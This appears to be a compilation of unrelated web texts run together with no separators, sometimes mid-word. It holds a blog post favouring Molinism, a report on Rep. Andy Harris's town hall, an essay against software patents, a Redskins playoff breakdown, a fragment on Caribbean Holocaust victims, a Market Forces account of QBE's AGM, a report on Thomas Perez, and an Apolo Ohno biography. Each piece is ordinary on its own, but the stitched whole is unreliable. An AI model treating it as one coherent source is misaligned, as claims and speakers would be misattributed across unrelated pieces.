Both Molinism and moderate views of Calvinism seek to affirm both divine sovereignty and divine permission. God’s permission means that He allows something other than Himself to exist. He gave humans the ability to choose, within certain parameters.
Some strict Calvinist argue that everything flows from a decree of God. The fall of humanity happened because God decreed it to happen. He did not allow it to happen. He was the ultimate cause of it. Most Calvinists (and most people in general) are repelled by that doctrine.
However, the moderate Calvinist faces logical problems within his theology. If God does not cause the fall or sin in our lives, but merely allows it, is His judgment of the sinner conditional – ie based on the condition of our sin. The sinner is damned by God in response to their sins.
Calvin, himself, rejected this moderate form of Reformed theology because it abandons the classic view of God’s sovereignty. It is very difficult to logically hold the idea that God sovereignly, unconditionally ordains all things, while saying that sinners are judged conditionally upon their sinful acts.
Molinism would argue that God does sovereignly elect those whom He has chosen, by creating the world in which they would freely choose Him.
William Lane Craig explains, “It is up to God whether we find ourselves in a world in which we are predestined, but it is up to us whether we are predestined in the world in which we find ourselves.”
While Calvinism and Arminianism seem to ignore and interpret strangely portions of Scripture that do not line up with their theological system, Molinism allows for a robust view of both God’s sovereignty and man’s free will/responsibility.
Scripture often focuses on the two side by side, yet the majority views in Christianity tend to elevate one and dismiss the other.
E: Eternal Life
Despite modern day ideas, historically, Calvinists have struggled with assurance of salvation almost as much Arminians. While an Arminian may worry that he will loose his salvation at some point in the future, a Calvinist may worry that he was never part of the elect and his experience is wrong.
According to Arminian theology, it is possible to forfeit your salvation. Calvin taught that God gives a temporary faith to some of the reprobate.
That makes it seem to everyone, including that person, that they have been genuinely saved, but it is a false salvation given from God so that, according to Calvin’s chosen successor Beza, “their fall might be more grievous.” Some have said, and I agree, that seems dangerously close to divine sadism.
We can find our assurance only in Christ. The objective work of Christ is the only basis for assurance. Our works will not and cannot be the basis of our assurance. However, the works done by God through us can, and should, providing a supporting confirmation to the already present assurance.
Scripture also teaches that true saving faith will endure until the end. The genuinely saved person will seek God. They may backslide for a time, but there can be no peaceful backsliders because if the Holy Spirit dwells in them, He will convict and discipline them.
S: Singular Redemption
The TULIP “L” is the most difficult to hold, both Scripturally and emotionally. Again, many Calvin scholars have said that Calvin did not hold to “limited atonement” himself.
However, the Arminian view of “general atonement” has problems in that it does not secure salvation for anyone, but merely grants the opportunity.
The general atonement view of the Arminians says that redemption is obtained, salvation is obtained for all, but secured for none. The Calvinist limited atonement view says that redemption is secured, salvation is secured for and only for the elect.
The moderate and Molinist position says that redemption is provided, salvation is provided for all, but applied only to those who believe.
Holders of limited atonement are forced to conjure up weird explanations for Bible verses that clearly speak of Christ’s death being for “all” and the “whole world.”
General atonement supporters have to be careful not to drift into universalism (everyone is saved because Jesus died for everyone) and argue that Jesus’ death did not actually make Him our Savior, but rather open the door to the possibility of Him being Savior.
The idea of singular redemption says that Christ’s death is universal in accessibility, but limited in application. Everyone can choose to access it, but only those who make the choice to follow Christ have the benefits of His death applied to their life.
OBJECTIONS
Molinism is just another form of Arminianism – said by a Calvinist. Molinism is just another form of Calvinism – said by an Arminian.
Any mediating position faces this criticism. Since it differs from one, it must be the other. This is a false dilemma and a bit condescending to imply that the only choices one has to explain the relationship between divine sovereignty and human responsibility are those two.
It seems that both of those theological camps have been at war for so long, they see enemies in any person who will not wholeheartedly embrace every nuance of every position. Often times they engage in friendly fire within their own camp over minute differences. It is no real criticism to be attacked from both sides.
It is simply a philosophical concept. Why not just believe the Bible?
Yes, it is a philosophical concept. No, it is not simply a philosophical concept. Every way of looking at Scripture and trying to interpret them in a logical, coherent system is in some sense philosophy.
You can simply say, “I believe the Bible.” But so do Calvinist, Arminians, Molinists, Catholics, Baptists, Pentecostals, Orthodox, Methodists, etc. Even Jehovah’s Witnesses and Mormons say they believe the Bible.
It is not a matter of simply believing the Bible. To think deeply about the Bible, you have to explain how concepts like divine sovereignty and human free will interact.
How could God know the things that would happen?
Philosophically, this is called the “grounding objection.” At this point, many Molinists appeal to mystery. Mystery is often mentioned by every side.
Molinists would say that their appeal is the most satisfactory because it places the mystery within God’s attributes, in this case his omniscience, whereas a Calvinist has to place mystery in God’s character when he talks about the status of the unelect or in God’s will when he speaks of why sin exists in the life of the believer.
It is much more fulfilling to say that as a human being I do not totally understand how God has all knowledge and that knowledge extends to things that would happen than to say I do not know if God really loves those He has not chosen to be elect.
CONCLUSION
If it is not obvious enough at this point, I would call myself a Molinist after a life of dissatisfaction with both the Calvinist and Arminian models and a time of studying and reading about other options.
My position is one of humility in that Molinism seems to best explain all of the phenomenon, but I do not and cannot assert that it is the only way or that anyone who disagrees is somehow lacking in the biblical knowledge or relationship with Christ.
Other posts in the series:
Beauty in the all the flowers: TULIP, DAISY, ROSES
Pushing up DAISY: Arminianism in Brief
Tiptoeing Through the TULIP: Calvinism in Brief
Theological Flower Bed: TULIP, DAISY & ROSESRepublicans continue to have a tough time at town hall meetings, and Rep. Andy Harris' (R-MD) event at Chesapeake College was no exception.
It’s becoming a trend. Earlier this month, in response to being called out by angry constituents during a town hall meeting, Rep. Joe Barton (R-TX) yelled at one of them to “shut up.”
This time, things got ugly in a hurry for Rep. Andy Harris’s (R-MD) town hall meeting at Chesapeake College in Wye Mills, Maryland.
As the Freedom Caucus member presented a Power Point presentation on his views about health care, the crowd booed and jeered him loudly.
At one point, Rep. Harris threatened a woman in the audience, telling her he’d have her thrown out if she didn’t stop yelling:
Andy Harris is having a rough night. "Ma'am, if you yell like that one more time, I'm going to ask campus security to take you out of here!" pic.twitter.com/xBRlejOLKh — Tommy Christopher (@tommyxtopher) March 31, 2017
Ma’am, if you yell one more time like that, I’m going to ask campus security to take you out of here! Thank you! Now, you may not want to hear about Alzheimer’s now, but you will at some point in your life. You will. Now, so beyond health care, again, talking about insurance is important, we have to deal with diseases, like Alzheimer’s, that in the end, will truly bankrupt our health care system. Anyway, with that, I think that’s the last slide.
The crowd was having none of it, as John Fritze of the Baltimore Sun reported:
Rep. Andy Harris to woman in front row of rows hall on Eastern Shore: "If you yell one more time like that…" Crowd goes ballistic. — John Fritze (@jfritze) March 31, 2017
Resistance from constituents like these helped defeat the Republican health care repeal plan, and Harris’ town hall is an indication that people are keeping up the energy of that resistance. Maybe Harris is right, maybe that really is his last slide.Last week, Wired's Tim Carmody commented that when it comes to the debate over software patents, "the intellectual ammo is all on one side"—the side of the critics. It's nice to think that software patent critics are dominating the debate. But people learn more if there's a healthy back-and-forth. So I was happy to see several posts this week making the case in favor of software patents.
Former Engadget editor Nilay Patel argued that there's no distinction between software and hardware, and that patents benefit the public by causing inventors to disclose their inventions. Michael Mace of Cera Technology argued that patents protect small companies from being ripped off by their larger competitors. And Carmody himself has a post calling software patents "a key part of the scaffolding of the tech industry."
I've addressed Patel's points elsewhere. Here I'd like to talk about Carmody's and Mace's arguments. Here's Carmody:
Holding patents signals to potential investors that the startup's founders are organized and serious; it prevents big companies or a slew of me-too competitors from imitating an idea, which could kill the company when still in the cradle; and it becomes one of the primary assets the company can trade on if it's purchased outright or sold off piecemeal when it fails. One of those two scenarios is how the overwhelming majority of startups end. In a very short time, patents have become a key part of the scaffolding of the tech industry. Eliminate them, as an asset class and value signal, and those structures needs to be rebuilt again, for better or worse.
It's worth being explicit about what's being described here. There's no doubt that patents are valuable to those who own them. But you can't eat in a patent or live in it. Patents are valuable for one reason and one reason only: they can be used to generate licensing revenues, often by threatening other companies with lawsuits. And this value is entirely zero-sum. Every dollar a patent holder receives in revenue reflects a dollar that some other company had to pay. And most patent licensing fees are paid by other tech companies, which represents a disincentive to innovate.
So it's obvious that patents are good for the people who get them. The key question is whether patents have a net effect of encouraging innovation. And there's no reason to believe this is the case. To start with, a big chunk of patent revenues simply flows to patent lawyers. The rest goes disproportionately to huge incumbents like Microsoft (18,000 patents) and IBM (more than 50,000). These companies have as many patents as they do not because they are hundreds of times more innovative than smaller companies like Google (754 patents) and Facebook (11 patents), but because it takes time to build the massive legal bureaucracy required to file thousands of applications every year.
This point is most obvious in a case where a failed company's patents are put up for auction. It can be sad when a company goes out of business, and a company's investors understandably want their money back. But the reason the auctioned patents are valuable is usually because the winning bidder will turn around and demand licensing fees from the failed company's more-successful competitors, effectively punishing success.
Being first isn't everything
Of course, it's possible that the bankrupt company failed because its more successful competitors simply ripped off its technology and undersold it. But at least in software, this is not the common case. More often, many companies independently come up with similar ideas. The company that prevails is the one that executes best, not the one who came up with the idea first. Which means that the patent system simply transfers wealth from those who are good at building useful products to those who are good at navigating the patent system.
Mace's post is based on a similar fallacy. He argues that patents are good because they allow a small company like his to prevent a large company like Google or Apple from copying him. Obviously that's valuable to him, but it's not clear that it's good for the economy as a whole.
Companies have other ways to protect their innovations. They can use copyrights, trade secrets, and the head start that any inventor has over copycats. Mace objects that these protections aren't adequate to guarantee that the original inventor will win in the marketplace. But that's the point: consumers benefit from the robust competition that results when inventors have only a limited advantage over competitors. The first company to enter some market shouldn't be able to simply rest on its laurels. Remember, Facebook was a "me-too competitor" in the social networking space; it's a good thing that Friendster and MySpace weren't able to stop Mark Zuckerberg from entering its market.
The function of the patent system isn't to maximize the profits of inventors. Rather, it's to provide inventors with sufficient incentives to ensure they continue innovating. In software, the protections offered by copyrights and trade secrets are already more than adequate to produce a huge amount of innovation. As a bonus, these regimes are less cumbersome and less prone to frivolous litigation than patents.Redskins Capital Connection podcast co-host Mark Phillips brings you this article breaking down the NFC Playoff picture going into week 13 of the season, and how it needs to break for the Redskins to have the best shot at making the post-season!
So I have a confession to make for those of you who only know me through Twitter and the Redskins Capital Connection podcast; I’m a stat and numbers geek.
Seriously. Kevin Sheehan has nothing on me when it comes to evaluating playoff scenarios. I’m an Accountant by trade so analyzing numbers is what I do. It’s nice to get paid for that skill but frankly I enjoy using it much more when analyzing my favorite football team. They haven’t given me much of a chance to do this in recent years so I have to jump on this opportunity whenever I can.
I can hear some of you screaming at me – ‘stop jinxing us!’. Save your outrage. There is no stopping this numbers geek at this point. Each week the Redskins remain in the playoff hunt I will try as best I can to talk about the games that matter to the team and what best helps the team in the playoff chase.
Below you will see all games that matter to us as Redskins fans. I will start with the least important game as I see it to us as fans to the most important. Believe it or not all 16 NFC teams play in games that matter to the Redskins at this point. Here is what I think needs to happen to best help the Redskins:
#9 – Carolina @ New Orleans
Carolina is meaningless to the Redskins at this point. They will finish ahead of the Redskins in the standings no matter what happens from this point out. The Saints are collapsing. The Redskins are one game ahead of them and hold the tie breaker based on head to head victory.
Who We Want To Win – Carolina
Why – As I said Carolina is meaningless to the Redskins at this point so further burying New Orleans makes them less viable as a playoff challenger
#8 – Arizona @ St Louis
It would be tough to catch Arizona at this point. Arizona is 4 games up on the Redskins with 5 to play. Arizona has a difficult schedule but not so difficult that the Redskins are likely to catch them. St Louis is a team similar to New Orleans at this point. They are one game behind the Redskins and lose all tiebreakers to the Skins.
Who We Want To Win – Arizona
Why – The Redskins aren’t catching Arizona. May as well have them win games against teams the Redskins are batting with for playoff position. Like New Orleans a St Louis loss here buries them further behind the Redskins.
#7 – San Francisco @ Chicago
San Francisco is not very good but they seem to be playing hard. Chicago is getting hot and has won 3 of their last 4. The Redskins play in Chicago next week so they could end up taking care of them themselves. San Francisco is two games behind the Redskins while the Bears match the Skins 5-6 record.
Who We Want To Win – San Francisco
Why – The 49ers aren’t likely to go on a run so I don’t see them as a threat to the Redskins long term. Chicago is a different story. With a win here the Bears get to 6-6 and play the Redskins with a lot of confidence. Yes the Redskins can take care of business against them anyway but let’s make sure we have some breathing room with the Bears.
#6 – Green Bay @ Detroit
The Pack are 7-4, two games ahead of the Redskins, but are slumping. They have a tough remaining schedule with games at Oakland, at Arizona and against Minnesota. The Lions are 4-7 with a relatively easy remaining schedule with games at St Louis, at New Orleans and against San Francisco. This is one of the more quietly interesting games of the week
Who We Want To Win – Detroit
Why – Toughest game for me to decide. Detroit could easily get on a roll as this would be 4 wins in a row with winnable games as far as the eye can see. They are a scary team to the Redskins playoff chances. That said a faltering Green Bay could be caught by the Redskins if it ends up a chase for the wild card. The Redskins are ahead of Detroit in the standings so if they take care of business the Lions won’t matter.
#5 – Seattle @ Minnesota
Minnesota is three games up in the standings over the Redskins with five to play. It will be difficult to catch them. Not impossible but difficult even if the Redskins ran the table which no self-respecting Skins fan should expect at this point. Seattle is the devil and they are one game up on the Redskins at this point.
Who We Want To Win – Minnesota
Why – You don’t walk up to make sure Jason Voorhees is dead you incinerate him. Seattle just doesn’t die. They are staggering a bit this season so we need Minnesota to drop another hammer blow on them. Plus whenever the Redskins have made the playoffs since 2005 it’s always Seattle. ALWAYS SEATTLE!!!! Let’s take a flame thrower to them. A loss drops the Seahawks to 6-6 giving the Skins a chance to catch them in the standings.
#4 – Atlanta @ Tampa Bay
Biggest out of NFC East game for the Redskins this week. Washington is tied with Tampa in the standings and a game behind Atlanta. Atlanta is reeling right now while Tampa is doing what 5-6 teams do…. Playing inconsistently. Tampa does have the easier schedule from here on out as Atlanta still has 2 games left with Carolina.
Who We Want To Win – Tampa Bay (barely)
Why – It is important to the Redskins long term playoff chances that Tampa finishes ahead of Atlanta in the standings. Why is that? In a multiple team wild card tiebreaker scenario the first thing the NFL does is apply divisional tiebreakers to eliminate all but one team from each division. That means if the Redskins were tied with Tampa and Atlanta for a wild card spot the NFL would first settle the divisional tie between Tampa and Atlanta. The Redskins win the tiebreaker over Tampa Bay but lose it to Atlanta.
#3 – Philadelphia @ New England
Philly is struggling and get to go on the road to play an angry 10-1 defending Super Bowl Champion. The Eagles are reeling and face a brutal closing stretch.
Who We Want To Win – New England
Why – Rule # 2 of helping Redskins playoff chances…. Always pull for an AFC team over and NFC team…. Especially an NFC East team. Philly at with Buffalo and Arizona coming up is finished.
#2 – NY Jets @ NY Giants
As someone recently pointed out the last two Giants Super Bowl Championships occurred in seasons where they suffered a late season crushing loss to the Redskins. If the Seahawks are Jason Voorhees the Giants are Michael Myers. They are never dead when you think they are.
Who We Want To Win – Rule # 2 of helping Redskins playoff chances applies here. I want the Giants out of the playoffs. Seriously the Giants are 8-1 in their last 9 playoff games with two Super Bowl titles.
#1 – Dallas @ Redskins
The Redskins game is obviously the game of most importance every week. Keep winning and the other games are essentially meaningless.
Who We Want To Win – DUH!!!
Why – DUH!!!
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Jews are not threatened by anyone.”
Jews from other New World countries also murdered by Nazis
Suriname was not the only Caribbean nation where the Jewish community was affected by the Holocaust.
At least 52 more Jews from the Caribbean and its extended basin were murdered in the Nazi concentration camps, including 23 people from Mexico, 19 from Cuba, 15 from Curacao, two from the Dominican Republic, and one person each from Trinidad and Tobago, Saint Thomas, The Virgin Islands, Guatemala, El Salvador, Nicaragua, and Guadeloupe, according to a new book by Diana Cooper-Clark.
The Jamaican author, who is also a professor at York University in Canada, published a book this year about the Jewish community in Jamaica, entitled “Dreams of Re-Creation in Jamaica.” In it, she argues that we must not forget that Jews from the Caribbean were also affected by WWII.
“People don’t know that Caribbean Jews were murdered in the Holocaust,” Cooper-Clark said. She noted that in fact “not one” of the Holocaust experts she interviewed for her book knew that Jews from that part of the world were also killed in the concentration camps.5 May 2016
Market Forces representatives attended the QBE AGM in Sydney on Wednesday. QBE is the largest insurer in Australia by market capitalisation, and operates across 37 countries employing over 14,000 people. QBE is also a critical ally to the fossil fuel industry – it underwrites offshore oil rigs, gas storage and pipelines and coal mine construction.
Earlier this week, we rebranded QBE’s head office with images of a bushfire, bleached coral reefs and a coal mine, using their own slogan – Made Possible By QBE. The company provided the idea themselves, back when they thought using the image of a coal mine on their 2012 annual report was a good idea.
Market Forces had submitted questions in advance to the company, none of which were addressed in lengthy speeches by the Chairman Marty Becker or CEO John Neal. You can see these questions in full down the bottom of this post.
Neither the Chairman or the CEO mentioned climate change in their addresses, or the impact it was having on their business. Check out our ‘highlights reel’ of the questions we put to the board during the meeting below.
Our first volunteer, Jann, asked if QBE have refused to write insurance in areas repeatedly affected by storm and flood. John Neal replied that this issue wasn’t isolated to Australia – areas of the UK had suffered frequent flooding in the last few years. Though they hadn’t ruled out any area entirely, many areas had seen significant increases in premiums.
Jann’s second question related to political donations – this year QBE appeared on the Australian Electoral Commission register of donations for the first time since 2009/10. John Neal claimed that these weren’t specifically donations, but fees paid to attend an event with a politician. The question remains – why do QBE representatives attend political events in a corporate capacity?
Our second volunteer, Peggy, asked if QBE had considered the risks outlined by the Bank of England’s landmark report on insurance and climate change in 2015. The answers provided were suitably evasive, and John Neal completely ignored the part about reporting these risks to shareholders.
Peggy followed up with a question about why QBE had failed to sign an open letter to the Bank of England Governor urging tough action on climate change. John Neal said the company preferred to expend their energy lobbying government on climate change, rather than penning letters to newspapers. Peggy clarified that the letter was to the Bank of England, not a newspaper, which John Neal then ignored.
Our third volunteer, Andrew, asked about underwriting standards on offshore oil given that QBE had paid out on large PEMEX and Petrobras claims in 2015. QBE had previously paid out on the BP Deepwater Horizon disaster in 2010. John Neal inadvertently answered one of our pre-submitted questions by declaring that energy constituted less than 2% of the company’s revenue. He said that the company prefers to work with businesses that consider their environmental impact, and those that are willing to change. We’d argue that BP doesn’t fit that criteria. John Neal clarified that QBE didn’t underwrite BP directly, but as the company did pay out on the Deepwater Horizon spill, it must have underwritten a consortium of which BP was a part, or one of its partners in the Gulf of Mexico, like a drilling services company.
Andrew followed up by asking if QBE had any involvement in the exploration for and potential production of oil in the Great Australian Bight. John Neal replied that the company didn’t have any involvement – to his knowledge – and if it did, it would be small. This was not a conclusive answer.
As the open session drew to a close, I got the final chance to put the board on the spot. I referred to the CEO’s earlier comments by asking which specific climate policies the company had lobbied for. John Neal replied that QBE had been heavily involved with the Insurance Council of Australia – a group that hasn’t published a report on climate change since 2010. He also said they’d begun to see results of their efforts in the UK with flood mitigation. I then asked if it was just about mitigation rather than emissions reduction. John Neal said it was both, but didn’t refer to any specific policy initiatives.
My final question referred to the California Insurance Commissioner’s call for coal divestment and mandatory fossil fuel exposure reporting. John Neal was quite adamant that in California, thermal coal exposure was zero, across the entire portfolio it was less than 1%, and the company had no intent to increase that amount. This equates to $300 million – a substantial investment nonetheless. CFO Pat Regan then said that they had recently appointed a Responsible Investment Manager and were making advances with green bonds. John Neal then said progress was slow because the green bond market was so small. I then asked if they would make a specific allocation (for green bonds or renewables) in their infrastructure portfolio. He replied that they haven’t been able to get close to their allocations yet – meaning there simply aren’t enough investment opportunities in the renewables space. We find this hard to believe.
On my way out, CEO John Neal offered a meeting, which was very welcome. We have many questions that remain unanswered after some evasive responses. QBE must begin to acknowledge and disclose the significance of their role in the fossil fuel industry. QBE can take immediate, costless action – by joining the public conversation on the appropriate policy responses to climate change.
In today’s Australian Financial Review, John Neal was quoted as saying that climate activists’ voices were “important” in the climate change debate. “We share their sentiment, but it’s the way in which you go about tackling the problem [that is different]. I would encourage them to keep protesting because I think their voice is important”.
We began the week on a crisp morning in Sydney’s CBD with a couple of posters and a team of enthusiastic volunteers – it has now concluded with the CEO of a top 50 Australian company encouraging our fight against fossil fuels. We’d call that a partial victory. Now we want to see real action from QBE.
We’re calling on QBE to:
– Unequivocally rule out future underwriting of coal, gas and oil production, transport and infrastructure projects;
– Divest from fossil fuel assets in its investment portfolio, and use that money to invest in renewable energy; and
– Take a leading role in the public debate on climate change, calling for action from Australian governments and businesses to limit global warming as much as possible.
These are the pre-submitted questions that QBE failed to answer:Labor secretary nominee Thomas Perez cut a "secret deal behind closed doors" with leaders of a Minnesota city, persuading them to drop a contentious lawsuit in exchange for the Justice Department staying out of whistleblower cases brought against the city, according to a congressional Republican report.
The "quid pro quo," according to the report, potentially cost taxpayers as much as $200 million.
The allegations are highly unusual, though are already being disputed by congressional Democrats. Perez is not a favorite of congressional Republicans, and the charges could impact his pending confirmation hearing -- scheduled for this Thursday.
The report, obtained in advance by Fox News, claimed Perez in February 2012 "manipulated" federal law as assistant attorney general and "pushed the limits of justice to make this deal happen."
Both cases involved the city of St. Paul. The 67-page report states that the Justice Department's decision to opt out of the whistleblower cases potentially cost taxpayers as much as $200 million -- the amount the government could have won had it pursued damages in the case.
More On This...
But, according to the report, the Justice Department stayed away from that case in order to get the city to drop an appeal to the Supreme Court on another matter. The department was allegedly concerned that the high court, in the course of reviewing that case, would strike down a major element of civil rights enforcement.
"Perez simply could not allow the Court to rule," the report said. "Perez sought leverage to stop the city from pressing its appeal."
The case the Justice Department was allegedly concerned about was St. Paul's appeal to the Supreme Court, on a case in which property owners said the city made extraordinary efforts, through strict code enforcement, to condemn their properties.
The owners said reducing the amount of affordable housing for minorities violated the federal Fair Housing Act -- by what is known as "disparate impact."
Perez appeared to think the Supreme Court overturning the case would have been a severe blow to civil rights enforcement, the report concluded.
The "disparate impact" provision, which the report described as legally questionable, prohibits housing policies that end up discriminating against certain groups even if those policies are not blatantly discriminatory.
"Perez sought, facilitated, and consummated this deal because he feared that the Court would find disparate impact unsupported by the text of the Fair Housing Act," the report said.
The other end of the alleged deal was for the Justice Department not to get involved in cases against the city of St. Paul that alleged the city received millions in Department of Housing and Urban Development funds -- including stimulus money -- but failed to file the requisite paperwork regarding the hiring of low-income workers.
In that case, which also involved the city of Minneapolis, plaintiff Thomas Newell got neither the backing of the agency nor the Justice Department and lost the case, which if won would likely have resulted in the cities repaying tens of millions in damages.
The Obama administration has acknowledged that senior Justice Department attorneys recommended intervening in the case and characterized the False Claims Act infractions reported by Newell as "particularly egregious."
However, they thought the case would be "quite weak and never should have been a serious candidate for intervention," according to the report.
The Justice Department claims everything was above board -- and that the department held three staff briefings, heard 24 hours of additional testimony and reviewed 1,400 pages of documents before deciding not to intervene.
"The litigation decisions made by the department were in the best interests of the United States and were consistent with the department's legal, ethical, and professional responsibility obligations," the department said in a statement.
Former Justice Department spokeswoman Tracy Schmaler also questioned the use of the term "quid pro quo" to describe what happened.
"It's such a loaded term," she said. "I think in fact you have almost everybody agreeing nothing inappropriate happened."
The report -- subtitled "How Assistant Attorney General Thomas Perez manipulated Justice and Ignored Rule of Law" -- was a joint effort by minority leaders of the Senate Judiciary Committee and the Republican-led House's Judiciary and Oversight and Government Reform committees.
"The facts surrounding this quid pro quo show that Perez may have exceeded the scope of the ethics and professional-responsibility opinions he received from the department and thereby violated his duties of loyalty and confidentiality to the United States. Perez also misled senior Justice Department officials about the quid pro quo," the report states.
But congressional Democrats put out a statement and memo of their own late Sunday refuting the details.
The statement said the "overwhelming evidence" indicates Perez and others "acted professionally to advance the interests of civil rights and effectively combat the scourge of discrimination in housing." They said the decision not to intervene in the suit against St. Paul was based on expert recommendations.
"Instead of identifying inappropriate conduct by Mr. Perez, it appears that the accusations against him are part of a broader political campaign to undermine the legal safeguards against discrimination that Mr. Perez was protecting," they said.Apolo Anton Ohno (; born May 22, 1982) is an American retired[5] short track speed skating competitor and an eight-time medalist (two gold, two silver, four bronze) in the Winter Olympics. Ohno is the most decorated American Olympian at the Winter Olympics.
Raised by his father, Ohno began training full-time in 1996. He has been the face of short track in the United States since winning his medals at the 2002 Winter Olympics.[6][7] At the age of 14, he became the youngest U.S. national champion in 1997 and was the reigning champion from 2001–2009, winning the title a total of 12 times.[8][9] In December 1999, he became the youngest skater to win a World Cup event title, and became the first American to win a World Cup overall title in 2001, which he won again in 2003 and 2005.[9][10] He won his first overall World Championship title at the 2008 championships.
Ohno's accolades and accomplishments include being the United States Olympic Committee's Male Athlete of the Month in October 2003 and March 2008, the U.S. Speedskating's Athlete of the Year for 2003, and was a 2002, 2003 and 2006 finalist for the Sullivan Award, which recognizes the best amateur athlete in the United States.[11][12][13][14] Since gaining recognition through his sport, Ohno has worked as a motivational speaker, philanthropist, started a nutritional supplement business called 8 Zone, and in 2007, competed on and won the reality TV show Dancing with the Stars. Ohno later became host of a revival of Minute to Win It on Game Show Network and served as a commentator for NBC's coverage of the 2014 Winter Games in Sochi and the 2018 Winter Games in Pyeongchang.
Early life [ edit ]
Ohno was born in Seattle, Washington, to a Japanese-born father, Yuki Ohno (大野 幸, Ōno Yuki) and a European American mother, Jerrie Lee.[15] Ohno's parents divorced when he was an infant, and he was raised in Seattle by his father.[16] He has had little contact with his biological mother and as of 2002 had expressed no interest in knowing her or his older half-brother.[15][16][17] Ohno's father, a hair stylist and owner of the salon Yuki's Diffusion, often worked 12-hour shifts, and with no extended family in the United States, found it hard to balance his career with raising a child.[17] His father chose to name his son Apolo after the Greek words apo, which means to "steer away from" and lo, which means "look out; here he comes."[9]
When Ohno was very young, his father meticulously researched childcare providers to care for his son during his long work hours.[17] As Apolo grew older, his father became concerned his son would become a latchkey kid, so Yuki got his son involved with competitive swimming and quad-speed roller skating at age 6. He later switched from the instruction of Benton Redford, a National Champion, to a team in Federal Way, Washington called Pattison's Team Extreme and became a national inline speedskating champion and record holder himself. His father used inline speed skating to fill his spare time.[8] Ohno's days were spent with morning swimming practices, followed by schooling, and finally skating practices in the afternoon.[18]
When Ohno was 12, he won the Washington state championship in the breaststroke, but preferred inline speed skating over swimming.[18] He has stated that by the time he turned 13, he attended parties with older teenagers if he did not have competitions on the weekends.[19] His father has stated that it was a struggle balancing his son's desire for independence while helping him reach his potential as a young athlete.[8]
Career [ edit ]
Beginnings [ edit ]
When he was 13 years old, Ohno became interested in short track speed skating after seeing the sport during the 1994 Olympics in Lillehammer.[20] His father capitalized on this interest by driving him to short track competitions throughout the northwest United States and Canada, and Ohno won several competitions in his age divisions.[15][16] His father wanted to encourage Ohno to develop his skills and, although Ohno was underage, he got him admitted to the Lake Placid Olympic Training Center in 1996 to train full-time for short track.[16] At 13, Ohno was the youngest skater admitted to the center.[8]
At first, Ohno's commitment at Lake Placid was low until his teammates nicknamed him "Chunky", which motivated him to train harder.[15] In January, he failed to make the 1997 U.S. Junior World Team.[21] Ohno adjusted his training and made a comeback winning the 1997 U.S. Senior Championships overall title, taking a gold medal in the 1500 m, a silver in the 300 m, and came in fourth in the 500 m races.[8][22] At the age of 14, he became the youngest person to win the title.[8] Ohno then relocated to the Colorado Springs Olympic Training Center to begin training with the senior level skaters, despite being only 14 years old.[22]
However, Ohno would struggle at the 1997 World Championships in Nagano, Japan, finishing 19th overall.[22] After this disappointing defeat at his first appearance at a world championships, Ohno returned home to Seattle.[22] He did not train from April to August 1997, so he gained weight and was ill-prepared for the 1998 Nagano Winter Olympics.[22] As a result, he finished last in the Olympic trials and did not qualify for the Olympic team.[16] Because of his losses at the World Championships and his failure to qualify for the Olympic team, Ohno recommitted himself to the sport and returned to junior-level skating at Lake Placid, rather than at Colorado Springs.[22]
At the 1999 World Junior Championships, Ohno won first overall, placing first in the 1000 m and 1500 m, and winning silver in the 500 m.[13] He won his second senior U.S. national championship in 1999. He finished fourth overall at the 1999 World Championships and earned a silver medal in the 500 m.[13] At the 2000 U.S. Championships, Ohno was unable to defend his title and finished third overall.[13] At the 2000 World Championships, Ohno finished ninth overall.[13] In the 2000–2001 season, Ohno won his first World Cup overall title, regained his National title, and finished second overall in the World Championships, losing to Chinese skater Li Jiajun.[13][23]
2002 Winter Olympics [ edit ]
Qualification race controversy [ edit ]
In December 2001, during the U.S. Short Track Speed Skating 2002 Olympic Trials, speed skater Shani Davis was racing for a position on the short track team. Ohno and fellow skater Rusty Smith had already earned slots on the six-man team due to points earned from earlier races. In order for Davis to qualify, he had to place first in the final race—the 1000 m—by overcoming stronger skaters Ohno, Smith, and Ron Biondo.[24] Since Ohno had been dominant in the meet to this point by winning every race he entered, a win by Davis seemed to be unlikely.
Though Ohno, Smith, and Biondo were heavily favored to win the 1000 m, the race ended with Ohno finishing third, Smith second, and Davis at the top of the podium. Prior to crossing the finish line, Ohno started celebrating for Davis and Smith.[24] Davis' first-place finish earned enough points to move past Tommy O'Hare in the final point standings and to qualify for sixth place. By finishing second, Smith earned the opportunity to skate individually in the 1000 m. The victory celebration was short-lived as rumors began that Ohno and Smith, both good friends of Davis, intentionally threw the race so Davis would win.[16]
After returning to Colorado Springs, O'Hare, who did not skate in the 1000 m, filed a formal complaint. The complaint was founded on Ohno's seemingly deliberate attempt to stop Biondo from being able to pass Smith.[25] Because of that blocking move on Biondo, Smith finished in second place and Davis finished first.[25] For three days, Ohno, Smith, and Davis stood before an arbitration panel of the United States Olympic Committee.[24] During the hearing, Davis was never accused of being at fault and Smith made the statement: "Any allegation that there was a fix, conspiracy, or understanding between Apolo and me, or anyone else, to let Shani win the race is completely false. Shani is a great athlete, skated a great race, and deserves to be on the team."[25] The final verdict was that O'Hare's claims went unproven, all three were absolved of guilt, and the claim was dismissed.[26] After the dismissal, Ohno stated, "I am thrilled that the arbitration process has officially vindicated me... As I've said since the moment of these accusations, they were untrue and I did nothing wrong".[26]
Games [ edit ]
At the 2002 Winter Olympics in Salt Lake City, Utah, Ohno emerged as the face of short-track speed skating among American fans.[27] He was a medalist in two events but there was controversy associated with the results.
After a disqualification in the 500 m race,[28] he was leading the skaters in the 1000 m race. During a turn around the final corner, Ohno, Ahn Hyun Soo, Li Jiajun, and Mathieu Turcotte all fell in a series of collisions.[29][30] The last man standing was Steven Bradbury from Australia, who was trailing behind at the time, and skated through to win the gold medal, becoming the first person from the southern hemisphere to win a gold medal at a Winter Olympics.[31] Ohno quickly got to his feet and crossed the finish line to win silver with Turcotte winning the bronze.[27] Ohno, coincidentally, was wearing skates made by Bradbury's own boot company, Revolutionary Boot Company. Bradbury had given them to Ohno, expecting for Ohno to win wearing them.[32]
